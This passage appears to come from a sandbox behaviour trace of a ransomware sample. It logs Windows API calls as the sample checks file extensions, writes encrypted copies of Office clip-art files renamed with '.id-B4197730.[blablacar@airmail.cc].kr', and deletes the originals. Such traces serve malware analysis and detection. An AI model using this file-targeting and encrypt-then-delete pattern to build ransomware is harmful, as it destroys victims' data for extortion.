SetEndOfFile (hFile=0x54c) returned 1 [0193.262] CloseHandle (hObject=0x54c) returned 1 [0193.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0193.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.263] lstrlenW (lpString=".doc") returned 4 [0193.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.263] lstrlenW (lpString=".docx") returned 5 [0193.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.264] lstrlenW (lpString=".pdf") returned 4 [0193.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString=".xls") returned 4 [0193.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.264] lstrlenW (lpString=".xlsx") returned 5 [0193.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.264] lstrlenW (lpString=".ppt") returned 4 [0193.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.264] lstrlenW (lpString=".zip") returned 4 [0193.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.264] lstrlenW (lpString=".rar") returned 4 [0193.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString=".bz2") returned 4 [0193.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString=".7z") returned 3 [0193.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.264] lstrlenW (lpString=".dbf") returned 4 [0193.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.264] lstrlenW (lpString=".1cd") returned 4 [0193.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.264] lstrlenW (lpString=".jpg") returned 4 [0193.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.264] lstrlenW (lpString=".doc") returned 4 [0193.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.264] lstrlenW (lpString=".docx") returned 5 [0193.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.265] lstrlenW (lpString=".pdf") returned 4 [0193.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.265] lstrlenW (lpString=".xls") returned 4 [0193.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.265] lstrlenW (lpString=".xlsx") returned 5 [0193.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.265] lstrlenW (lpString=".ppt") returned 4 [0193.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.265] lstrlenW (lpString=".zip") returned 4 [0193.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.265] lstrlenW (lpString=".rar") returned 4 [0193.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.265] lstrlenW (lpString=".bz2") returned 4 [0193.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.265] lstrlenW (lpString=".7z") returned 3 [0193.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.265] lstrlenW (lpString=".dbf") returned 4 [0193.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.265] lstrlenW (lpString=".1cd") returned 4 [0193.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0193.265] lstrlenW (lpString=".jpg") returned 4 [0193.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.266] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.266] lstrlenW (lpString="FD00779_.WMF") returned 12 [0193.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.266] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9010) returned 1 [0193.266] CloseHandle (hObject=0x54c) returned 1 [0193.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0193.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.267] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.267] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.267] GetLastError () returned 0x0 [0193.267] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2332, lpOverlapped=0x0) returned 1 [0193.269] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2340, lpOverlapped=0x0) returned 1 [0193.271] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.271] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.271] SetEndOfFile (hFile=0x51c) returned 1 [0193.271] CloseHandle (hObject=0x51c) returned 1 [0193.271] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.271] SetEndOfFile (hFile=0x54c) returned 1 [0193.385] CloseHandle (hObject=0x54c) returned 1 [0193.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0193.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.930] lstrlenW (lpString=".doc") returned 4 [0193.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString=".docx") returned 5 [0193.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.931] lstrlenW (lpString=".pdf") returned 4 [0193.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString=".xls") returned 4 [0193.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.931] lstrlenW (lpString=".xlsx") returned 5 [0193.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.931] lstrlenW (lpString=".ppt") returned 4 [0193.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.931] lstrlenW (lpString=".zip") returned 4 [0193.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.931] lstrlenW (lpString=".rar") returned 4 [0193.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString=".bz2") returned 4 [0193.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString=".7z") returned 3 [0193.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.931] lstrlenW (lpString=".dbf") returned 4 [0193.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.931] lstrlenW (lpString=".1cd") returned 4 [0193.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.931] lstrlenW (lpString=".jpg") returned 4 [0193.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.932] lstrlenW (lpString=".doc") returned 4 [0193.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.932] lstrlenW (lpString=".docx") returned 5 [0193.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.932] lstrlenW (lpString=".pdf") returned 4 [0193.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.932] lstrlenW (lpString=".xls") returned 4 [0193.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.932] lstrlenW (lpString=".xlsx") returned 5 [0193.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.932] lstrlenW (lpString=".ppt") returned 4 [0193.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.932] lstrlenW (lpString=".zip") returned 4 [0193.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.932] lstrlenW (lpString=".rar") returned 4 [0193.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.932] lstrlenW (lpString=".bz2") returned 4 [0193.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.932] lstrlenW (lpString=".7z") returned 3 [0193.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.932] lstrlenW (lpString=".dbf") returned 4 [0193.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.932] lstrlenW (lpString=".1cd") returned 4 [0193.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0193.932] lstrlenW (lpString=".jpg") returned 4 [0193.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.933] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.933] lstrlenW (lpString="FD00814_.WMF") returned 12 [0193.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.945] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=42704) returned 1 [0193.945] CloseHandle (hObject=0x370) returned 1 [0193.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0193.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.946] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.946] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.948] GetLastError () returned 0x0 [0193.948] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0193.951] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0193.953] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.953] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.953] SetEndOfFile (hFile=0x53c) returned 1 [0193.953] CloseHandle (hObject=0x53c) returned 1 [0193.953] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.953] SetEndOfFile (hFile=0x370) returned 1 [0193.956] CloseHandle (hObject=0x370) returned 1 [0193.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0193.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.958] lstrlenW (lpString=".doc") returned 4 [0193.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.958] lstrlenW (lpString=".docx") returned 5 [0193.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.958] lstrlenW (lpString=".pdf") returned 4 [0193.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.958] lstrlenW (lpString=".xls") returned 4 [0193.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.958] lstrlenW (lpString=".xlsx") returned 5 [0193.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.958] lstrlenW (lpString=".ppt") returned 4 [0193.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.959] lstrlenW (lpString=".zip") returned 4 [0193.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.959] lstrlenW (lpString=".rar") returned 4 [0193.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString=".bz2") returned 4 [0193.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString=".7z") returned 3 [0193.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.959] lstrlenW (lpString=".dbf") returned 4 [0193.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.959] lstrlenW (lpString=".1cd") returned 4 [0193.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.959] lstrlenW (lpString=".jpg") returned 4 [0193.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.959] lstrlenW (lpString=".doc") returned 4 [0193.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString=".docx") returned 5 [0193.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.959] lstrlenW (lpString=".pdf") returned 4 [0193.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString=".xls") returned 4 [0193.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.960] lstrlenW (lpString=".xlsx") returned 5 [0193.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.960] lstrlenW (lpString=".ppt") returned 4 [0193.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.960] lstrlenW (lpString=".zip") returned 4 [0193.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.960] lstrlenW (lpString=".rar") returned 4 [0193.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString=".bz2") returned 4 [0193.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString=".7z") returned 3 [0193.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.960] lstrlenW (lpString=".dbf") returned 4 [0193.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.960] lstrlenW (lpString=".1cd") returned 4 [0193.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0193.960] lstrlenW (lpString=".jpg") returned 4 [0193.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.960] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.961] lstrlenW (lpString="FD00965_.WMF") returned 12 [0193.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.961] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15164) returned 1 [0193.961] CloseHandle (hObject=0x370) returned 1 [0193.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0193.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.962] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.962] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.963] GetLastError () returned 0x0 [0193.963] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0193.965] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3b40, lpOverlapped=0x0) returned 1 [0193.966] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.966] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.966] SetEndOfFile (hFile=0x53c) returned 1 [0193.966] CloseHandle (hObject=0x53c) returned 1 [0193.966] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.966] SetEndOfFile (hFile=0x370) returned 1 [0193.970] CloseHandle (hObject=0x370) returned 1 [0193.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 